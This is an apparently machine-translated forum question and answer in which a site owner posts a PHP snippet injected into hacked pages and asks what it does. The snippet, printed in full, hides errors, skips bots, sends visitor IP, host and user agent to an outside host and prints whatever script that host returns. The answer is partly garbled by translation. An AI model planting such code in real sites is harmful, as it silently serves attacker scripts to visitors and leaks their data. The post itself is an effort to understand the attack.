Недавно сайт, с которым я был связан, был взломан с несанкционированным кодом, размещенным на нескольких страницах. Мне просто интересно, может ли кто-нибудь пролить свет на то, что именно делает этот код, и какая польза от него будет для пользователя, который разместил его на этих страницах.Неавторизованный код, размещенный на веб-страницах
<?php
#31e3cd#
error_reporting(0); ini_set('display_errors',0); $wp_okpbo35639 = @$_SERVER['HTTP_USER_AGENT'];
if ((preg_match ('/Gecko|MSIE/i', $wp_okpbo35639) && !preg_match ('/bot/i', $wp_okpbo35639))){
$wp_okpbo0935639="http://"."html"."-href".".com/href"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_okpbo35639);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_okpbo0935639);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_35639okpbo = curl_exec ($ch); curl_close($ch);}
if (substr($wp_35639okpbo,1,3) === 'scr'){ echo $wp_35639okpbo; }
#/31e3cd#
?>
Выше кодекса, как он появился на страницах. Я играл с этим кодом и, кажется, чтобы получить информацию о пользователе с помощью:
$_SERVER['HTTP_USER_AGENT']
Затем объединяются в URL, аналогичной приведенной ниже, но с информацией о пользователе сверху добавляется к URL
http://html-href.com/href/?ip=::1&referer=localhost&ua=
Я знаю, что curl используется для передачи данных, но где именно эта информация отправляется и какова ее цель?
Возможно, это JS, так как он проверяет подстроку 'scr' как 2-го 3-го и 4-го символов (что соответствует'
$ _SERVER ['HTTP_USER_AGENT'] используется для проверки типа веб-браузера (или может быть искателем), с которого клиент запрашивает ресурс на основе URL-адреса. Например, с помощью этого фрагмента
preg_match ('/Gecko|MSIE/i', $wp_okpbo35639)
он используется для проверки, является ли браузер клиента Firefox (Gecko) или IE (MSIE). Но это не является надежным способом определения исходного браузера, поскольку пользовательские агенты легко могут быть изменены или переключены.источник
2014-01-07 15:21:14